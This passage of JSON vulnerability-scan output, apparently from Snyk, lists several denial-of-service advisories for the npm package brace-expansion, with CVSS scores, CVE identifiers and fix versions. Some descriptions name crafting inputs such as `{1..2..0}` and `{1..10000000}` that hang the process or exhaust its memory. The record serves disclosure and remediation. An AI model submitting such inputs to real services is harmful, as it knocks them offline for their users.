{ "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "sigstore@4.1.0", "@sigstore/tuf@4.0.1", "tuf-js@4.1.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "pacote@21.5.1", "sigstore@4.1.1", "@sigstore/tuf@4.0.2", "tuf-js@4.1.0", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": 